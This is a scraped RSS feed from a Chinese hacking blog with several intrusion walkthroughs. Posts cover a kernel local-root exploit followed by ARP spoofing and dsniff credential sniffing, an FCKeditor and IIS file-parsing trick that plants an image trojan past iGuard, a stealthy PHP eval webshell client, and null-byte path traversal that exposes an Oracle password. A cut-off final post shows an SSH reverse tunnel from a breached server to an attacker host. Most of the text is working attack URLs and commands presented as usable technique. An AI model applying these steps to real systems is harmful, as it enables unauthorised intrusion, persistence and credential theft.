<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/9.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/9.jpg" alt="内网渗透嗅探术" width="540" height="237" /></a></p>
<p>提示成功了，可以新建个目录用来存放提权的工具。</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/12.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/12.jpg" alt="内网渗透嗅探术" width="540" height="366" /></a></p>
<p>在Linux提权大致可分为，第三方软件漏洞、本地信任特性、内核溢出等，比较常用的溢出率高的，当属内核了。用Wget下载溢出源码，用到的漏洞是Linux vmsplice Local Root Exploit<br />
，成功率蛮高的，gcc编译，执行，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/13.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/13.jpg" alt="内网渗透嗅探术" width="540" height="239" /></a></p>
<p>成功获取root权限，在选择溢出利用程序时，有时需要进行多次测试。</p>
<p>什么是Sniffer，sniffer是利用截获目的的计算机通信，通过分析截获的数据，提取敏感信息的工具。但其通过什么方法来截获数据呢？在此之前得解释一下arp（Address Rrsolution Protocol）协议,即地址解析协议，它位于TCP/IP协议栈中的低层协议，负责将某个IP地址解析成对应的MAC地址。它靠维持在内存中保存的一张表来使IP得以在网络上被目标机器应答。在数据传送时，IP包里就有源IP地址、源MAC地址、目标IP地址，如果在ARP表中有相对应的MAC地点，那么根据最优选择法，直接访问，如果，没有对应的地址，就要广播出去，在网内寻找对应的地址，如果对方的IP地址和发出的目标IP地址相同，那么对方会发送MAC地址给源主机，，而此时，如果攻击者也接听到发送的IP地址，它就会仿冒目标主机的IP地址，然后返回自己的主机的MAC地址给源主机，因为源主机发送的IP包没有包括目标主机的MAC地址，而ARP表里面又没有目标IP和目标MAC地址的对应表，就会接受攻击者的MAC而选择与其通信，所以就此产生了ARP欺骗。在系统刚启动时，可以在DOS下输入命令“arp -a”来查看本机arp缓存表的内容，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/a.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/a.jpg" alt="内网渗透嗅探术" width="540" height="245" /></a></p>
<p>我们来与IP192.168.0.5进行通信，通信后arp缓存表就会有这样一条MAC地址和IP对应的记录。如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/b.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/b.jpg" alt="内网渗透嗅探术" width="540" height="245" /></a></p>
<p>在本机多了条缓存中的IP和MAC的对应纪录。</p>
<p>Dsniff是一个著名的网络嗅探工具包，其开发者是Dug Song，其开发的本意是用来揭示网络通信的不安全性，方便网络管理员对自己网络的审计，当然也包括渗透测试，其安装包里某此工具，充分揭示了协议的不安全性。作为一个工具集，Dsniff包括的工具大致分为四类：<br />
一、	纯粹被动地进行网络活动监视的工具，包括：dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy<br />
二、	针对SSH和SSL的MITM“攻击”工具，包括sshmitm和webmitm<br />
三、	发起主动欺骗的工具，包括：arpspoof、dnsspof、macof<br />
四、	其它工具，包括tcpkill、tcpnice</p>
<p>Dsniff的官方下载：www.monkey.org/~dugsong/dsniff/ 这个是源码包，解压后可以看下README,提示需要五个软件的支持：openssl、Berkeley_db、libnet、libpca、libnids<br />
下载地址如下：<br />
Berkeley_db:  http://www.oracle.com/technology/software/products/berkeley-db/index.html<br />
libpcap:      http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz<br />
ftp://rpmfind.net/linux/epel/5/i386/dsniff-2.4-0.3.b1.el5.i386.rpm<br />
ftp://rpmfind.net/linux/epel/5/i386/libnet-1.1.4-1.el5.i386.rpm<br />
ftp://rpmfind.net/linux/epel/5/i386/libnids-1.23-1.el5.i386.rpm<br />
系统一般默认都有安装openssl、libpcap。</p>

<div class="wp_codebox"><table><tr id="p10691"><td class="code" id="p1069code1"><pre class="c" style="font-family:monospace;">一、	Tar包安装
如果下载的是源包，文件如下：openssl<span style="color: #339933;">-</span>0.9.7i.<span style="color: #202020;">tar</span>.<span style="color: #202020;">gz</span>、libnids<span style="color: #339933;">-</span><span style="color:#800080;">1.18</span>.<span style="color: #202020;">tar</span>.<span style="color: #202020;">gz</span>、libpcap<span style="color: #339933;">-</span>0.7.2.<span style="color: #202020;">tar</span>.<span style="color: #202020;">gz</span>、libnet<span style="color: #339933;">-</span>1.0.2a.<span style="color: #202020;">tar</span>.<span style="color: #202020;">gz</span>、Berkeley db<span style="color: #339933;">-</span>4.7.25.<span style="color: #202020;">tar</span>.<span style="color: #202020;">gz</span>
a<span style="color: #009900;">&#41;</span>	安装openssl
用tar解压软件包手，执行三条命令
<span style="color: #339933;">#./config</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
b<span style="color: #009900;">&#41;</span>	安装libpcap
<span style="color: #339933;">#./config</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
c<span style="color: #009900;">&#41;</span>	安装libnet
<span style="color: #339933;">#./config</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
d<span style="color: #009900;">&#41;</span>	安装libnids
<span style="color: #339933;">#./config</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
e<span style="color: #009900;">&#41;</span>	安装libnids
<span style="color: #339933;">#./config</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
f<span style="color: #009900;">&#41;</span>	安装Berkeley DB
<span style="color: #339933;">#.cd build_unix</span>
<span style="color: #339933;">#../dist/configure</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
g<span style="color: #009900;">&#41;</span>	安装dsniff
<span style="color: #339933;">#./configure</span>
<span style="color: #339933;">#make</span>
<span style="color: #339933;">#make install</span>
程序安装好后，先查看一下网卡信息，然后开启服务器IP转发，命令如下：
<span style="color: #339933;"># echo &quot;1&quot; &amp;gt; /proc/sys/net/ipv4/ip_forward</span></pre></td></tr></table></div>

<p>先来双向欺骗，用到arpspoof，其命令是：<br />
#arp –t 网关 欺骗主机IP<br />
如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/c.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/c.jpg" alt="内网渗透嗅探术" width="540" height="485" /></a></p>
<p>arpspoof已经开始工作了，可以用tcpdump查看一下被攻击主机是否有数据经过<br />
命令如下：<br />
#tcpdump –I eth0 host 61.67.x.115<br />
如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/aa.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/aa.jpg" alt="内网渗透嗅探术" width="540" height="253" /></a></p>
<p>有数据交换，说明欺骗的比较成功，然后用Dsniff开始嗅探目标主机，命令如下：<br />
#Dsniff –c –f /etc/dsniff/dsniff.services<br />
这个dsniff.services自然就是保存端口和服务对应关系的文件，如需要保存到文件，需加-w filename数据全是明文传送的。所以数据分析完全能用肉眼发现，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/aaa.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="内网渗透嗅探术" src="http://www.nuanyue.com/wp-content/uploads/2009/12/aaa.jpg" alt="内网渗透嗅探术" width="540" height="146" /></a></p>
<p>从这条数据可以看到HTTP登录和FTP登录信息，帐号和密码全是明文的。而经过测试，通过FTP上传的目录正是WEB目录，获取WEBShell权限，继续提权即可控制主机。Linux下的嗅探，其实更容易一些，在最近爆出的高危本地提权，不知道有多少台主机沦陷呢？在攻与防的游戏里，系统管理员往往显得如此的无助。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux%e4%b8%8b%e6%b8%97%e9%80%8f%e5%97%85%e6%8e%a2%e6%9c%af.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>突破防篡改 继续上传</title>
		<link>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e9%98%b2%e7%af%a1%e6%94%b9-%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html</link>
		<comments>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e9%98%b2%e7%af%a1%e6%94%b9-%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html#comments</comments>
		<pubDate>Wed, 25 Nov 2009 15:23:30 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[FCKeditor漏洞]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=969</guid>
		<description><![CDATA[文/<a href="http://www.nuanyue.com/突破防篡改-继续上传.html">饭</a>
继SQL注入盛行，许多网站首页招致恶意的篡改，人们迫切的需要一款解决网页防篡改问题的方案，许多公司相续推出了硬件和软件，比如文中提到的IGuard防篡改系统，防篡改的原理一般基于三种，分别是外挂轮询技术、核心内嵌技术、事件触发技术。外挂轮询技术是利用一个网页检测程序，以轮询方式读出要监控的网页，与真实网页相比较，来判断网页内容的完整性，对于被篡改的网页进行报警和实时恢复。核心内嵌技术是将篡改检测模块嵌在Web服务器软件里，它在每一个网页流出时都进行完整性检查，对于篡改网页进行实时访问阻断，并予以报警和恢复。事件触发技术是利用操作系统的文件系统接口，在网页文件的被修改时进行合法性检查，对于非法操作进行报警和恢复。对于一些技术性评估，可以从下面的表里得到一些信息。
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/11.png" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/11.png" alt="突破防篡改 继续上传" width="540" height="285" /></a></p>
<p style="text-align: center;">图/三种技术评估对比表</p>
由表可知，核心内嵌技术许是最好的防篡改解决方案了。只是在攻击手段层出不穷的今天，系统配置是否最佳和WEB应用层防护是否关乎全局，在都是些较关键的问题。

在检测一下网站时，从扫描结果得到一个[......]<p class='read-more'><a href='http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e9%98%b2%e7%af%a1%e6%94%b9-%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">文/<a href="http://www.nuanyue.com/突破防篡改-继续上传.html">饭</a><br />
继SQL注入盛行，许多网站首页招致恶意的篡改，人们迫切的需要一款解决网页防篡改问题的方案，许多公司相续推出了硬件和软件，比如文中提到的IGuard防篡改系统，防篡改的原理一般基于三种，分别是外挂轮询技术、核心内嵌技术、事件触发技术。外挂轮询技术是利用一个网页检测程序，以轮询方式读出要监控的网页，与真实网页相比较，来判断网页内容的完整性，对于被篡改的网页进行报警和实时恢复。核心内嵌技术是将篡改检测模块嵌在Web服务器软件里，它在每一个网页流出时都进行完整性检查，对于篡改网页进行实时访问阻断，并予以报警和恢复。事件触发技术是利用操作系统的文件系统接口，在网页文件的被修改时进行合法性检查，对于非法操作进行报警和恢复。对于一些技术性评估，可以从下面的表里得到一些信息。
</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/11.png" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/11.png" alt="突破防篡改 继续上传" width="540" height="285" /></a></p>
<p style="text-align: center;">图/三种技术评估对比表</p>
<p>由表可知，核心内嵌技术许是最好的防篡改解决方案了。只是在攻击手段层出不穷的今天，系统配置是否最佳和WEB应用层防护是否关乎全局，在都是些较关键的问题。</p>
<p>在检测一下网站时，从扫描结果得到一个</p>
<p>http://www.nuanyue.com/admin/fckeditor/editor/filemanager/connectors/test.html</p>
<p>可以看出这是fckeditor的上传页面，通过点击不同的文件类型，fckeditor是支持多种文件类型文件上传的，所以，有的管理员可能根据需要不同而配置了不同的文件，可以通过选择Connector不同的文件类型，再点击”Get Folders and Files”来查看文件夹，如果存在文件夹，如下图，如果返回空白页面或者出错信息，则没有启用这类文件的上传配置。</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/1.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/1.jpg" alt="突破防篡改 继续上传" width="540" height="357" /></a></p>
<p>通过测试发现，网站管理员配置了asp.net,并且可以在resource Type “Media”可以创建和可列目录，这条思路其实有人在网上已经提过，大致思路是通过创建asp文件夹，再往asp传送图片木马。只是没有公布怎么建立类似于x.asp这样的文件夹呢。在fckeditor里，是会对“.“进行转换成“_“的。如果你输入建立”x.asp“,其实建立的是”x_asp”文件夹。如图</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/2.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/2.jpg" alt="突破防篡改 继续上传" width="540" height="357" /></a></p>
<p>提交一条这样的语句就可以</p>
<p>http://www.nuanyue.com/admin/FckEditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&amp;Type=Media&amp;CurrentFolder=c.cdx&amp;NewFolderName=z&amp;uuid=1244789975684</p>
<p>创建一个”c.cdx”的文件夹，在提交时需要uuid参数，原理跟aps文件夹一样，在这个文件夹放置的图片文件IIS会当作asp文件来解析的。由于在默认的编辑器默认测试页面，管理员禁用了上传功能，只能允许创建目录，所以，在后台找到一处上传的地方，其URL：</p>
<p>http://www.nuanyue.com/admin/adminimg.aspx?simage=images2&amp;bimage=images&amp;path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&amp;returnpath=admin/pic&amp;wsize=270&amp;hsize=190</p>
<p>通过参数returnpath把目录直接指向“/admin/pic“，直接把它指向刚刚建立的z.cdx文件夹admin%2fUploadFile%2fmedia%2fz.cdx</p>
<p>http://www.nuanyue.com/imgresize/imgresize.aspx?simage=images2&amp;bimage=images&amp;path=%2fadmin%2fUploadFile%2fmedia%2fz.cdx&amp;returnpath=admin%2fUploadFile%2fmedia%2fz.cdx&amp;wsize=270&amp;hsize=190</p>
<p>在后台直接上传文件或者图片木马，但是原因其服务器上有iGuard，是不能执行的。如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/4.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/4.jpg" alt="突破防篡改 继续上传" width="540" height="357" /></a></p>
<p>突破iGuard其实用得也是图片木马的原理，先把一张图片和一个小马，就用比较经典的diy.asp上传文件的马。命令如下：</p>

<div class="wp_codebox"><table><tr id="p9692"><td class="code" id="p969code2"><pre class="c" style="font-family:monospace;">C<span style="color: #339933;">:&amp;</span>gt<span style="color: #339933;">;</span>copy <span style="color: #339933;">/</span>b 图片<span style="color: #339933;">+</span>图片木马 图片木马</pre></td></tr></table></div>

<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/5.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/5.jpg" alt="突破防篡改 继续上传" width="450" height="170" /></a></p>
<p>其主要欺骗iGuard，告诉它，“这不是寂寞，这是一张图片”</p>
<p>上传执行如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/6.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="突破防篡改 继续上传" src="http://www.nuanyue.com/wp-content/uploads/2009/11/6.jpg" alt="突破防篡改 继续上传" width="540" height="357" /></a></p>
<p>当然还有另一种方法了，这种方法可以减少了创建特殊文件夹的过程。原理跟这个也是一样的，就是不久前让人爆出的Nday，其实传来传去很长时间了。“Microsoft IIS 5.x/6.0 0解析文件名漏洞”，此漏洞描述：“当文件名为x.asp;x.jpg时，Microsoft IIS会自动以asp格式来进行解析。而当文件名为x.php;x.jpg时，Microsoft IIS会自动以php格式来进行解析。”上传一个这样格式的图片木马，iGuard也会放行的。只所以能成功上传，大致可以看成是iGuard对文件检测过于简单，而IIS本身的缺陷也是主要的原因。【本文已经发表于黑客防线】</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%aa%81%e7%a0%b4%e9%98%b2%e7%af%a1%e6%94%b9-%e7%bb%a7%e7%bb%ad%e4%b8%8a%e4%bc%a0.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>零魂PHP一句话木马客户端</title>
		<link>http://www.nuanyue.com/%e9%9b%b6%e9%ad%82php%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac%e5%ae%a2%e6%88%b7%e7%ab%af.html</link>
		<comments>http://www.nuanyue.com/%e9%9b%b6%e9%ad%82php%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac%e5%ae%a2%e6%88%b7%e7%ab%af.html#comments</comments>
		<pubDate>Thu, 29 Oct 2009 02:14:05 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tools Collection | 工具收集]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=901</guid>
		<description><![CDATA[<p>文/<a href="http://hi.baidu.com/0soul/blog/item/8d0d41cece9bff37f8dc61fc.html">零魂</a><br />
1.填好一句话WebShell地址和密码并点提交之后，后续操作不用再依赖客户端，基本上剩下的和操作大马没什么两样。</p>
<p>2.完全POST提交，避免了WebServer记录敏感数据。如果一句话插在有正常用户访问的PHP文件的话，插完时间也改回来了，那么管理员发现的概率就相当低了。(海洋的不是全P[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e9%9b%b6%e9%ad%82php%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac%e5%ae%a2%e6%88%b7%e7%ab%af.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://hi.baidu.com/0soul/blog/item/8d0d41cece9bff37f8dc61fc.html">零魂</a><br />
1.填好一句话WebShell地址和密码并点提交之后，后续操作不用再依赖客户端，基本上剩下的和操作大马没什么两样。</p>
<p>2.完全POST提交，避免了WebServer记录敏感数据。如果一句话插在有正常用户访问的PHP文件的话，插完时间也改回来了，那么管理员发现的概率就相当低了。(海洋的不是全POST)</p>
<p>大概原理:</p>
<p>一键提交版的一句话客户端连接成功之后，每次POST数据的时候, 假设一句话密码是c，都要先让本地表单:</p>
<p>c = session_start();eval($_SESSION[chr(120)]);</p>
<p>chr(120)就是字母c，为了避免单引号写成chr(120)形式。</p>
<p>然后一句话在eval($_POST[c])的时候，才能执行保存在Session中的我们的PHP代码。</p>
<p>想用其它密码的朋友可以依据这个原理修改。</p>
<p>备份下载：<a href='http://www.nuanyue.com/wp-content/uploads/2009/10/zerosoul_PHP_eval_Client2.rar'>zerosoul_PHP_eval_Client</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e9%9b%b6%e9%ad%82php%e4%b8%80%e5%8f%a5%e8%af%9d%e6%9c%a8%e9%a9%ac%e5%ae%a2%e6%88%b7%e7%ab%af.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>tomcat和jboss网站%00欺骗</title>
		<link>http://www.nuanyue.com/tomcat%e5%92%8cjboss%e7%bd%91%e7%ab%99%e6%96%87%e4%bb%b6%e5%90%8d%e6%ac%ba%e9%aa%97.html</link>
		<comments>http://www.nuanyue.com/tomcat%e5%92%8cjboss%e7%bd%91%e7%ab%99%e6%96%87%e4%bb%b6%e5%90%8d%e6%ac%ba%e9%aa%97.html#comments</comments>
		<pubDate>Fri, 02 Oct 2009 02:24:11 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=825</guid>
		<description><![CDATA[<p>tomcat+jboss，站点交互功能很少，漏洞扫描器没发现什么问题。</p>
<p>手工一个一个文件慢慢翻，翻了好多发现有的文章提示“没有图片”，也就是说可能有的文章附有图片了。一个个找终于看到一张图片，右键查看一下图片URL，发现有些可疑：</p>
<p>http://webhost/AjaxAction.do?actio[......]</p><p class='read-more'><a href='http://www.nuanyue.com/tomcat%e5%92%8cjboss%e7%bd%91%e7%ab%99%e6%96%87%e4%bb%b6%e5%90%8d%e6%ac%ba%e9%aa%97.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>tomcat+jboss，站点交互功能很少，漏洞扫描器没发现什么问题。</p>
<p>手工一个一个文件慢慢翻，翻了好多发现有的文章提示“没有图片”，也就是说可能有的文章附有图片了。一个个找终于看到一张图片，右键查看一下图片URL，发现有些可疑：</p>
<p>http://webhost/AjaxAction.do?actionType=showimage&#038;id=1101110623085223t.jpg</p>
<p>试一下改变成：</p>
<p>http://webhost/AjaxAction.do?actionType=showimage&#038;id=111actionType=showimage&#038;id=111</p>
<p>出错了：</p>
<p>java.io.IOException: 文件不是图片格式，请检查后继续！只能输出gif、jpg、png三种格式文件！<br />
cn.com.chx.util.ImageUtil.outImageStream(ImageUtil.java:68)<br />
cn.com.chx.eform.AjaxAction.showImage(AjaxAction.java:265)</p>
<p>再试试有没有过滤结束符构造一个合法的：</p>
<p>http://webhost/AjaxAction.do?actionType=showimage&#038;id=111%00.gif</p>
<p>非常有意思，不但得到了web path而且还成功欺骗了程序：</p>
<p>java.io.FileNotFoundException: E:\webhost\server\default\deploy\root.war\WEB-INF\resource\111?3;.gif (系统找不到指定的文件。)<br />
java.io.FileInputStream.open(Native Method)<br />
java.io.FileInputStream.<init>(FileInputStream.java:106)<br />
cn.com.chx.util.ImageUtil.outImageStream(ImageUtil.java:74)</p>
<p>再试试能不能返回上级目录，因为上面暴出了web path，所以退只要两格：</p>
<p>http://webhost/AjaxAction.do?actionType=showimage&#038;id=../../login.jsp%00.gif</p>
<p>哈哈，直接看到了jsp源码~~~<br />
接下来可以去尝试读一下web-inf下面的xml文件：</p>
<p>http://webhost/AjaxAction.do?actionType=showimage&#038;id=../../web-inf/chx-config.xml%00.gif</p>
<p>找到了最重要的oracle密码(直接访问xml访问不了）：<br />
- <database>  <type>oracle</type>  <jdbcdriver>oracle.jdbc.driver.OracleDriver</jdbcdriver>  <url>jdbc:oracle:thin:@localhost:1521:orcl</url>  <user>xbox</user>
<password>xbox123qwe@#$_web</password>  </database> 做渗透测试项目就做到这就可以了，接下来要绕过fw利用oracle获得个systemshell也并非难事</init></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/tomcat%e5%92%8cjboss%e7%bd%91%e7%ab%99%e6%96%87%e4%bb%b6%e5%90%8d%e6%ac%ba%e9%aa%97.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>内网渗透中SSh的巧用</title>
		<link>http://www.nuanyue.com/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e4%b8%adssh%e7%9a%84%e5%b7%a7%e7%94%a8.html</link>
		<comments>http://www.nuanyue.com/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e4%b8%adssh%e7%9a%84%e5%b7%a7%e7%94%a8.html#comments</comments>
		<pubDate>Thu, 03 Sep 2009 05:51:14 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Penetration Testing | 渗透测试]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=772</guid>
		<description><![CDATA[<p>文 ring04h[EST]</p>
<p>在渗透测试过程中，经常遇到如下情形，内部网络主机通过路由器或者安全设备做了访问控制，无法通过互联网直接访问本地开放的服务，Windows方面，国内通常选择Lcx.exe来进行端口转发，在应用方面大多数人也会选择reDuh来进行端口转发，而*nix却很少人用系统自带的ss[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e4%b8%adssh%e7%9a%84%e5%b7%a7%e7%94%a8.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文 ring04h[EST]</p>
<p>在渗透测试过程中，经常遇到如下情形，内部网络主机通过路由器或者安全设备做了访问控制，无法通过互联网直接访问本地开放的服务，Windows方面，国内通常选择Lcx.exe来进行端口转发，在应用方面大多数人也会选择reDuh来进行端口转发，而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。<br />
由于时间有限，本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。</p>
<p>SSH的三个端口转发命令：<br />
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host<br />
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host<br />
ssh -C -f -N -g -D listen_port user@Tunnel_Host</p>
<p>-f Fork into background after authentication.<br />
后台认证用户/密码，通常和-N连用，不用登录到远程主机。</p>
<p>-p port Connect to this port. Server must be on the same port.<br />
被登录的ssd服务器的sshd服务端口。</p>
<p>-L port:host:hostport<br />
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport</p>
<p>-R port:host:hostport<br />
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport</p>
<p>-D port<br />
指定一个本地机器 “动态的&#8217;’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.</p>
<p>-C Enable compression.<br />
压缩数据传输。</p>
<p>-N Do not execute a shell or command.<br />
不执行脚本或命令，通常与-f连用。</p>
<p>-g Allow remote hosts to connect to forwarded ports.<br />
在-L/-R/-D参数中，允许远程主机连接到建立的转发的端口，如果不加这个参数，只允许本地主机建立连接。注：这个参数我在实践中似乎始终不起作用)</p>
<p>如果想要了解更多关于SSH的细节，可以 man ssh ，或参照ssh的DOC.</p>
<p>实例：<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
当骇客A从互联网入侵了RISUN企业的一台服务器，机器名称为 GBOSS_WEB<br />
GBOSS_WEB 信息：<br />
外网IP：255.25.55.111<br />
内网IP：10.168.0.10<br />
网络架构方式为，路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。</p>
<p>骇客A通过利用80端口开放服务的WEB脚本漏洞，成功继承到GBOSS_WEB的httpd权限，然后通过perl或者其它语言创建SOCKET获得一个远程sh shell。由于back回来的shell可能不稳定，或者使用起来不方便，可以采用SSH建立一个隧道，将GBOSS_WEB服务器上的22端口映射至骇客的本机上(本文章用于演示的骇客机为0x.cn)；</p>
<p>通过得到的sh shell，执行 $python -c &#8216;import pty; pty.spawn(&#8220;/bin/sh&#8221;)&#8217; 获得一个ttyshell(因为ssh想要tty的支持)，然后通过如下命令，映射GBOSS_WEB服务器的22端口至202.65.208.142的44端口；<br />
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142<br />
